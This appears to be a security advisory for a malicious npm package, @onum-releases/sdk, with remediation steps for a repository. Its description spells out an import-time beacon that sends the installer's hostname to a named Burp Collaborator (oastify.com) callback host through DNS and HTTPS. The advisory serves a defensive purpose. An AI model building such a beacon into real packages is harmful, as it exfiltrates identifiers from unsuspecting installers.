MAL-2026-6125 Malicious code in @onum-releases/sdk (npm)
Malicious package
Published
MAL-2026-6125 is a malicious package: @onum-releases/sdk (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6125/ (Markdown: https://insights.sbomify.com/MAL-2026-6125/index.md)
- Package
- @onum-releases/sdk
- Registry
- npm
What is MAL-2026-6125?
MAL-2026-6125 is a malicious package in @onum-releases/sdk, published on 18 Jun 2026.
Official description
On import, index.js reads the installer's machine hostname via os.hostname(), embeds it as a subdomain of a hardcoded *.oastify.com (Burp Collaborator out-of-band callback) host, and issues an HTTPS GET to that host. Specifically, index.js lines 5-7 build
sdk.<hostname>.200majoeu01dk02xnjdajro1isojc90y.oastify.com and call https.get({ host: host, path: '/sdk',... }). The fetch fires unconditionally on require('@onum-releases/sdk') with no caller consent, leaking the installer's hostname (via both DNS and HTTPS) to whoever controls that Collaborator instance. The package's own description says 'Security PoC placeholder - benign, no runtime payload', but the shipped code does run an import-time beacon. The @onum-releases scope plus PoC framing is consistent with a dependency-confusion probe against an internal onum namespace; the harm to any installer who pulls it (intentionally or via name confusion) is host-identifier exfiltration to a third-party OAST server.What should I do about MAL-2026-6125?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.